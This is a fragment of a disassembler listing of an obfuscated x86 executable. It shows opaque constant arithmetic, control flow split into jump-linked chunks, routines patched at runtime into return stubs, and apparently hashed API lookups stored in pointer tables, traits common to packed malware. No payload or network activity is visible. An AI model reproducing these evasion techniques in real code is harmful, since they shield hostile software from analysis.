; START	OF FUNCTION CHUNK FOR sub_745A78


loc_7526E9:				; CODE XREF: sub_745A78:loc_752188j
		lea	eax, sub_75622B
		jmp	loc_748D12
; END OF FUNCTION CHUNK	FOR sub_745A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C3EB


loc_7526F4:				; CODE XREF: _0z4jwtox:007504B4j
					; sub_74C3EB:loc_750BBBj
		js	loc_745DD3
		mov	ebp, esi
		jmp	sub_7500C5
; END OF FUNCTION CHUNK	FOR sub_74C3EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_752701:				; CODE XREF: sub_74946E:loc_74E147j
		call	sub_746E93
		push	edi
		push	98A8FB01h
		pop	edi
		xor	edi, 92CA2046h
		cmp	edi, 0B3FA599Ah
		jmp	loc_7477E9
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------

locret_75271E:				; CODE XREF: _0z4jwtox:0074EB22j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_75271F:				; CODE XREF: sub_7490F6+8F8Bj
		jmp	loc_749AF1
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------


loc_752724:				; CODE XREF: _0z4jwtox:0074BC29j
		jmp	loc_7459AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749980


loc_752729:				; CODE XREF: sub_749980+1C91j
		jmp	nullsub_219
; END OF FUNCTION CHUNK	FOR sub_749980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7571A1


loc_75272E:				; CODE XREF: sub_7571A1:loc_756780j
		popf
		xchg	edx, [esp+4+var_4]
		jmp	loc_749A20
; END OF FUNCTION CHUNK	FOR sub_7571A1

; =============== S U B	R O U T	I N E =======================================



sub_752737	proc near		; CODE XREF: sub_74B1F1-1B14p
					; _0z4jwtox:0074E553j

; FUNCTION CHUNK AT 00745C4D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00746B42 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0074869C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074A1D2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074CAA7 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0074F6BA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00753C12 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 007575A7 SIZE 0000000E BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		cmp	al, 0A4h
		jz	loc_745C4D
		jmp	loc_74A1D2
sub_752737	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7568F5


loc_75274A:				; CODE XREF: sub_7568F5+Bj
		jmp	nullsub_299
; END OF FUNCTION CHUNK	FOR sub_7568F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F1E7


loc_75274F:				; CODE XREF: _0z4jwtox:loc_74A24Aj
					; sub_74F1E7+Cj
		jmp	nullsub_276
; END OF FUNCTION CHUNK	FOR sub_74F1E7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_752755:				; CODE XREF: sub_74CBCF-27E9j
		jmp	loc_74E1A8
; END OF FUNCTION CHUNK	FOR sub_74CBCF

; =============== S U B	R O U T	I N E =======================================



sub_75275A	proc near		; DATA XREF: _0z4jwtox:loc_756BBFo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00745285 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00745ED8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00746A67 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074725C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00747A36 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00747CD5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074AC9A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074BB0A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074CE30 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074D5E8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0074DB30 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074E20F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007524A4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 007547D7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00756D12 SIZE 00000005 BYTES

		mov	byte ptr [eax],	0
		inc	dword ptr [ebp-24h]
		jmp	loc_747CD5
sub_75275A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_752765:				; CODE XREF: sub_7561AB-106ACj
		inc	dword ptr [ebp-24h]
		jmp	loc_752FF9
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_75276D:				; CODE XREF: sub_746640:loc_746394j
					; sub_7473D1+Aj ...
		push	0C9474715h
		pop	eax
		add	eax, 0ADC829Ah
		and	eax, 0DEE41F5h
		add	eax, 390D6647h
		jmp	loc_74EC6F
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------
		shr	eax, 15h
		jmp	loc_754279
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E986


loc_752792:				; CODE XREF: _0z4jwtox:00745578j
					; sub_74E986+Aj
		call	sub_746CF0
		retn
; END OF FUNCTION CHUNK	FOR sub_74E986
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_752798:				; CODE XREF: sub_747AEC+4B32j
		jmp	loc_7515FF
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746556


loc_75279D:				; CODE XREF: sub_746556+7j
		push	esi
		push	0EC25933Ah
		pop	esi
		and	esi, 2FC8EFA0h
		rol	esi, 1
		jmp	loc_74712C
; END OF FUNCTION CHUNK	FOR sub_746556
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C0A0


loc_7527B1:				; CODE XREF: sub_74C0A0:loc_749DAFj
		ror	edx, 16h


loc_7527B4:				; CODE XREF: _0z4jwtox:loc_7539A8j
		jmp	loc_7480CB
; END OF FUNCTION CHUNK	FOR sub_74C0A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_7527B9:				; CODE XREF: sub_7490F6:loc_749157j
		js	loc_74E82F
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_74EE3E
		jmp	loc_75207B
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E37


loc_7527D3:				; CODE XREF: sub_746E37-1CD4j
		jno	loc_7549DB
		cmp	ecx, ebp
		jmp	loc_750C61
; END OF FUNCTION CHUNK	FOR sub_746E37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_7527E0:				; CODE XREF: sub_74F73B-5E45j
					; _0z4jwtox:loc_753170j
		mov	ds:dword_41F044, eax
		lea	eax, nullsub_17
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_17
; END OF FUNCTION CHUNK	FOR sub_74F73B
; ---------------------------------------------------------------------------
		dd 24048B5Ah, 89F3E852h, 0C0B8FFFFh, 0E97DA6ACh, 0FFFFF224h
; ---------------------------------------------------------------------------


loc_752808:				; DATA XREF: sub_747778-1112o
		call	sub_7452F3
		pop	ecx
		mov	edx, [ebp+8]
		imul	dword ptr [edx-4]
		add	eax, 2
		mov	[ebp-0Ch], eax
		jmp	loc_754F0D
; ---------------------------------------------------------------------------


loc_75281F:				; CODE XREF: _0z4jwtox:007457AEj
		and	edi, 0E0BA3680h
		sub	edi, 57A8F39Bh
		and	edi, 0EFEDEF1Fh
		test	edi, 2000h
		jmp	loc_753952
; ---------------------------------------------------------------------------
		mov	ds:off_41F09C, eax
		lea	eax, sub_74C0A0
		mov	byte ptr [eax],	0C3h
		jmp	sub_74C0A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C0A0


loc_752850:				; CODE XREF: sub_74C0A0j
		call	sub_749576


loc_752855:				; CODE XREF: sub_748C98+529Aj
		jmp	loc_7514E4
; END OF FUNCTION CHUNK	FOR sub_74C0A0
; ---------------------------------------------------------------------------


loc_75285A:				; CODE XREF: _0z4jwtox:007483B9j
		jmp	loc_746C90
; ---------------------------------------------------------------------------


loc_75285F:				; CODE XREF: _0z4jwtox:loc_7503D3j
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp]
		push	edx
		call	sub_752C8E


loc_75286B:				; CODE XREF: _0z4jwtox:007547D2j
		jmp	loc_748513
; ---------------------------------------------------------------------------


loc_752870:				; CODE XREF: _0z4jwtox:loc_74EDF4j
		xchg	ecx, [esp]
		push	0AC08D0EAh
		pop	ebx
		rol	ebx, 12h
		add	ebx, 0BCCA06A0h
		jmp	loc_74955D
; ---------------------------------------------------------------------------


loc_752887:				; CODE XREF: _0z4jwtox:0074FFFBj
		mov	eax, 4C5D3995h
		call	sub_746E93
		mov	ds:dword_41F034, eax
		lea	eax, nullsub_291
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_291
; ---------------------------------------------------------------------------


loc_7528A5:				; CODE XREF: _0z4jwtox:00753869j
		mov	eax, [esp]
		push	ebx
		jmp	loc_74E31C
; ---------------------------------------------------------------------------
		sub	esi, edx
		jmp	loc_74C623
; ---------------------------------------------------------------------------


loc_7528B5:				; CODE XREF: _0z4jwtox:00746FE5j
		push	568F7D49h
		pop	eax
		rol	eax, 1Ah
		test	eax, 10000h
		jmp	loc_75336C
; ---------------------------------------------------------------------------
		and	esi, edx
		jmp	sub_74B008
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_245. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747B31


loc_7528D1:				; CODE XREF: sub_747B31+5CC5j
		jmp	loc_7486D2
; END OF FUNCTION CHUNK	FOR sub_747B31
; ---------------------------------------------------------------------------
		mov	ds:off_41F0C0, eax
		lea	eax, loc_74FBB6
		mov	byte ptr [eax],	0C3h
		jmp	loc_74FBB6

; =============== S U B	R O U T	I N E =======================================



sub_7528EA	proc near		; CODE XREF: sub_4085B9+36p
					; sub_7528EA+5j
					; DATA XREF: ...
		call	sub_7528FA
		jmp	ds:off_41F0C4
sub_7528EA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A94


loc_7528F5:				; CODE XREF: sub_747A94+F371j
		jmp	loc_74FD36
; END OF FUNCTION CHUNK	FOR sub_747A94

; =============== S U B	R O U T	I N E =======================================



sub_7528FA	proc near		; CODE XREF: sub_7570E0-10EA7j
					; _0z4jwtox:loc_74D754j ...
		push	offset sub_749229
		jmp	nullsub_94
sub_7528FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_752904	proc near		; CODE XREF: sub_74E7AE+56Bj
		retn
sub_752904	endp

; ---------------------------------------------------------------------------
		pop	edi
		jmp	sub_7474E3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_208. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_75290C:				; CODE XREF: sub_74D1F3+17j
		jmp	loc_74F71F
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7515AA


loc_752911:				; CODE XREF: sub_7515AA+Bj
		push	3659BBA5h
		pop	eax
		or	eax, 5580EA51h
		xor	eax, 2A5DE8E5h
		rol	eax, 12h
		test	eax, 20000h
		jmp	loc_74FA79
; END OF FUNCTION CHUNK	FOR sub_7515AA
; ---------------------------------------------------------------------------


loc_752931:				; DATA XREF: sub_7547BA+7o
		mov	eax, edx
; START	OF FUNCTION CHUNK FOR sub_74A250


loc_752933:				; CODE XREF: sub_74A250+7j
		push	edi
		push	0E132F393h
		pop	edi
		and	edi, 0B1260664h
		add	edi, 21E91B21h
		and	edi, 0F233312h
		add	edi, 0FD72244Ah
		jmp	loc_74544D
; END OF FUNCTION CHUNK	FOR sub_74A250

; =============== S U B	R O U T	I N E =======================================



sub_752957	proc near		; CODE XREF: _0z4jwtox:0074EA01j
					; sub_745C55+1109Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00749C35 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074AD0F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0074B66A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074E20A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EF46 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 007505F5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007512B7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00753855 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00753D8D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00754A00 SIZE 0000000B BYTES

		xchg	eax, [esp+4+var_4]
		pop	eax
		add	edx, 0E82CEA91h
		xchg	edx, [esp+0]
		jmp	loc_749C35
sub_752957	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_752969	proc near		; DATA XREF: sub_74698F:loc_7565FFo
		push	esi
		push	0A24EEB2Fh
		pop	esi
		xor	esi, 97BD99BCh
		jmp	loc_74A3F5
sub_752969	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75118C


loc_75297B:				; CODE XREF: sub_75118C-36B2j
		push	edx


loc_75297C:				; CODE XREF: _0z4jwtox:007567A5j
		mov	edx, eax
		xchg	edx, [esp+0Ch+var_C]
		push	1DFF06D0h
		pop	eax
		and	eax, 6D2243F0h
		xor	eax, 78D71B70h
		jmp	loc_74BEAA
; END OF FUNCTION CHUNK	FOR sub_75118C
; ---------------------------------------------------------------------------


loc_752998:				; CODE XREF: _0z4jwtox:007524C6j
		shl	edi, 8

; =============== S U B	R O U T	I N E =======================================



sub_75299B	proc near		; CODE XREF: sub_74D1F3+2913p

; FUNCTION CHUNK AT 00746368 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007467E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00747EF9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 007487F2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074B9CF SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074E3CD SIZE 00000014 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	[ecx], eax
		call	sub_7559F0


loc_7529A6:				; CODE XREF: sub_74CF35+A7A2j
		jmp	loc_7487F2
sub_75299B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_7529AB	proc near		; DATA XREF: sub_7559F0:loc_754CAAo

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00748591 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E9C0 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 007529B3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00752BB0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 007556B6 SIZE 00000015 BYTES

		mov	byte ptr [eax],	0C3h
		jmp	loc_7556B6
sub_7529AB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7529AB


loc_7529B3:				; CODE XREF: sub_7529AB+2D11j
		mov	eax, [esp+0]
		push	edx
		push	ebx
		jmp	loc_748591
; END OF FUNCTION CHUNK	FOR sub_7529AB

; =============== S U B	R O U T	I N E =======================================



sub_7529BD	proc near		; DATA XREF: sub_753F8B-7165o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00749339 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074E2FD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00750095 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075127F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00751F25 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00755DDF SIZE 00000005 BYTES

		push	eax
		pushf
		push	145248EAh
		pop	eax
		or	eax, 5AFC006Ah
		sub	eax, 15F6273Ch
		jmp	loc_74E2FD
sub_7529BD	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_7529D7:				; CODE XREF: _0z4jwtox:00747BAAj
		jmp	loc_754A46
; ---------------------------------------------------------------------------

locret_7529DC:				; CODE XREF: _0z4jwtox:loc_74B553j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755501


loc_7529DD:				; CODE XREF: sub_755501+Fj
		lea	eax, nullsub_14
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_14
; END OF FUNCTION CHUNK	FOR sub_755501
; ---------------------------------------------------------------------------
		call	nullsub_270
		jmp	ds:dword_41F060
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7556D8


loc_7529F6:				; CODE XREF: sub_7556D8+Cj
		jmp	loc_753F0F
; END OF FUNCTION CHUNK	FOR sub_7556D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_7529FB:				; CODE XREF: sub_752D11:loc_754747j
		cmp	byte ptr [eax],	0F1h
		jnz	loc_7510C0
		jmp	loc_745FF8
; END OF FUNCTION CHUNK	FOR sub_752D11
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74698F


loc_752A0A:				; CODE XREF: sub_74698F+D9F8j
		jmp	loc_745FAD
; END OF FUNCTION CHUNK	FOR sub_74698F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747290


loc_752A0F:				; CODE XREF: sub_747290-15D5j
		jmp	nullsub_245
; END OF FUNCTION CHUNK	FOR sub_747290
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_752A14:				; CODE XREF: sub_7543C5-16BFj
		pop	esi
		push	ebx
		pushf
		push	36F815D6h
		jmp	loc_746E05
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------


loc_752A21:				; CODE XREF: _0z4jwtox:loc_74B9CAj
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_747622


loc_752A2B:				; CODE XREF: sub_747622+7j
		call	sub_748ABC


loc_752A30:				; CODE XREF: _0z4jwtox:0074DA03j
		jmp	loc_754958
; END OF FUNCTION CHUNK	FOR sub_747622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_752A35:				; CODE XREF: sub_747736+4011j
		sbb	eax, 9B9D4171h
		jl	loc_750BC4


loc_752A41:				; CODE XREF: sub_747736:loc_749EAAj
		add	ebx, 725B3F0Eh


loc_752A47:				; CODE XREF: _0z4jwtox:loc_74F5B2j
		add	ebx, ebp
		add	ebx, 8D86BE2Ch
		jmp	loc_74DD9B
; END OF FUNCTION CHUNK	FOR sub_747736

; =============== S U B	R O U T	I N E =======================================



sub_752A54	proc near		; DATA XREF: sub_74CF35:loc_748969o

; FUNCTION CHUNK AT 0074B127 SIZE 00000005 BYTES

		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_7573A9
		jmp	loc_74B127
sub_752A54	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7508A4


loc_752A65:				; CODE XREF: sub_7508A4+364Cj
		push	0EA3723E8h
		pop	eax
		xor	eax, 0BBA9F628h
		add	eax, 405A728Ch
		rol	eax, 1Ah
		add	eax, 0CE2D6095h
		xchg	eax, [esp+8+var_8]
		jmp	nullsub_262
; END OF FUNCTION CHUNK	FOR sub_7508A4
; ---------------------------------------------------------------------------


loc_752A88:				; CODE XREF: _0z4jwtox:loc_746438j
					; _0z4jwtox:00752DDCj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_756823
		jmp	loc_74CDE2
; ---------------------------------------------------------------------------
		shr	edi, 13h
		jmp	sub_74C1D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756974


loc_752AA1:				; CODE XREF: sub_756974+1j
		mov	eax, [esp+4+var_4]
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+0]


loc_752AAA:				; CODE XREF: _0z4jwtox:0074B616j
		jmp	loc_75366C
; END OF FUNCTION CHUNK	FOR sub_756974
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749B76


loc_752AAF:				; CODE XREF: sub_749B76:loc_757483j
		push	eax
		push	offset loc_755DFD
		jmp	nullsub_247
; END OF FUNCTION CHUNK	FOR sub_749B76
; ---------------------------------------------------------------------------
		sbb	ebp, ebx
		jmp	loc_7450F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F30D


loc_752AC1:				; CODE XREF: sub_74F30D+7j
		jnz	sub_74A8D1
		add	esp, 0FFFFFED0h
		push	edx
		push	28FE87EBh
		pop	edx
		xor	edx, 9D540DDAh
		jmp	loc_753C01
; END OF FUNCTION CHUNK	FOR sub_74F30D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E95A


loc_752ADF:				; CODE XREF: sub_74E95A-19F7j
		lea	eax, sub_749FEE
		mov	byte ptr [eax],	0C3h
		jmp	loc_74E902
; END OF FUNCTION CHUNK	FOR sub_74E95A

; =============== S U B	R O U T	I N E =======================================



sub_752AED	proc near		; CODE XREF: sub_41DB68+5Bp
					; sub_41DB68+B9p ...
		call	sub_754C68
		jmp	ds:off_41F00C
sub_752AED	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745620


loc_752AF8:				; CODE XREF: sub_745620+11j
		jmp	nullsub_96
; END OF FUNCTION CHUNK	FOR sub_745620
; ---------------------------------------------------------------------------


loc_752AFD:				; CODE XREF: _0z4jwtox:loc_74885Aj
		pop	edx
		lea	eax, nullsub_278
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_278

; =============== S U B	R O U T	I N E =======================================



sub_752B0C	proc near		; CODE XREF: sub_408701+15Dp
					; sub_7465EE+9j
					; DATA XREF: ...

; FUNCTION CHUNK AT 0074729B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074860F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0074D74A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074EE03 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074F27C SIZE 00000005 BYTES

		call	sub_7465EE


loc_752B11:				; CODE XREF: sub_75263A-A355j
		jmp	loc_74D74A
sub_752B0C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	edi, [esp]
		mov	edx, edi
		pop	edi
		mov	eax, [esp]
		jmp	loc_74A4FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7556D8


loc_752B24:				; CODE XREF: _0z4jwtox:0074EB77j
					; sub_7556D8-3877j
		add	ebx, 8CADDAA8h
		popf
		mov	[ebx], eax
		pop	ebx
; END OF FUNCTION CHUNK	FOR sub_7556D8
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_752B2E:				; CODE XREF: sub_74AAC1-78j
					; sub_74AAC1:loc_750000j
		xor	eax, 0C8829A14h
		sub	eax, 0E856DF39h
		jmp	loc_7526A9
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_172. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_752B40:				; CODE XREF: _0z4jwtox:0074BCE7j
		jmp	sub_755C10

; =============== S U B	R O U T	I N E =======================================



sub_752B45	proc near		; CODE XREF: _0z4jwtox:007470DDj
					; sub_754B1B:loc_74A46Cp
		xchg	edx, [esp+0]
		pop	edx
		mov	ds:dword_41F060, eax
		call	sub_749F88
sub_752B45	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_7462C2


loc_752B54:				; CODE XREF: sub_7462C2+652Cj
		jmp	loc_747D4C
; END OF FUNCTION CHUNK	FOR sub_7462C2
; ---------------------------------------------------------------------------
aLQiHcndSg	db 'Q]hCD',1Bh,'+',0Ah,0 ; DATA XREF: sub_747C22+6FD2o
		db 0
; ---------------------------------------------------------------------------


loc_752B6B:				; CODE XREF: _0z4jwtox:0074C4DBj
		pop	edx


loc_752B6C:				; CODE XREF: _0z4jwtox:0074AFBCj
		rol	edx, 14h
		test	edx, 800000h
		jmp	loc_75499F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462C2


loc_752B7A:				; CODE XREF: sub_7462C2:loc_753A67j
		jnz	loc_74C7E2
		jmp	loc_74F9B4
; END OF FUNCTION CHUNK	FOR sub_7462C2
; ---------------------------------------------------------------------------
		mov	ds:dword_41F030, eax
		lea	eax, nullsub_3
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_752B99:				; CODE XREF: sub_74FE55-9359j
		mov	eax, [esp+0]
		push	ecx
		jmp	loc_74F6D8
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------


loc_752BA2:				; CODE XREF: _0z4jwtox:00753965j
		xchg	ebx, [esp]
		mov	edx, ebx
		pop	ebx
		mov	eax, [esp]
		jmp	loc_74DD21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7529AB


loc_752BB0:				; CODE XREF: sub_7529AB+2D1Bj
		mov	esi, edx
		xchg	esi, [esp+8+var_8]
		call	sub_755923
; END OF FUNCTION CHUNK	FOR sub_7529AB
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_752BBA:				; CODE XREF: sub_747C22+BD60j
		jmp	loc_74C019
; END OF FUNCTION CHUNK	FOR sub_747C22

; =============== S U B	R O U T	I N E =======================================



sub_752BBF	proc near		; CODE XREF: _0z4jwtox:00749EA5j
					; sub_752FC5:loc_757682p

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		add	ecx, 0AD7ED498h
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_75740D
sub_752BBF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_752BD1	proc near		; CODE XREF: _0z4jwtox:007507E1p
					; _0z4jwtox:00753EC9j
		xchg	ebx, [esp+0]
		pop	ebx
		lea	eax, sub_74C527
		push	offset sub_74553D
		jmp	nullsub_297
sub_752BD1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7535F0


loc_752BE5:				; CODE XREF: sub_7535F0-1408j
		xor	eax, 6808A274h
		add	eax, 32ACBD8Bh
		push	edi
		call	sub_753DDE


loc_752BF7:				; CODE XREF: sub_74FB89+3739j
		jmp	nullsub_111
; END OF FUNCTION CHUNK	FOR sub_7535F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462C2


loc_752BFC:				; CODE XREF: sub_7462C2-1281j
		add	eax, [esp+0]
		adc	edx, [esp+arg_0]
		add	esp, 8
		push	offset loc_74B7A1
		jmp	nullsub_107
; END OF FUNCTION CHUNK	FOR sub_7462C2
; ---------------------------------------------------------------------------
		sub	esi, 0DA125728h
		jmp	sub_748538
; ---------------------------------------------------------------------------
		mov	eax, 0F78D9DBDh
		call	sub_746E93
		mov	ds:off_41F0EC, eax
		lea	eax, sub_74C3B3
		mov	byte ptr [eax],	0C3h
		jmp	loc_756940

; =============== S U B	R O U T	I N E =======================================



sub_752C39	proc near		; CODE XREF: sub_4090ED+88p
					; sub_4090ED+8Ep ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074895B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074A566 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00751038 SIZE 00000005 BYTES

		push	esi
		push	2339D1F9h


loc_752C3F:				; CODE XREF: sub_74FE55-5A96j
		jmp	loc_74A566
sub_752C39	endp


; =============== S U B	R O U T	I N E =======================================



sub_752C44	proc near		; DATA XREF: sub_755ECD+9o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007464AC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00750A1A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00750F01 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00752696 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00754931 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007562A1 SIZE 00000008 BYTES

		cmp	dword ptr [ebp-4], 0
		jz	loc_75276D
		jmp	loc_7464AC
sub_752C44	endp

; ---------------------------------------------------------------------------
		mov	[ebp+0], ecx
		jmp	loc_745FDF
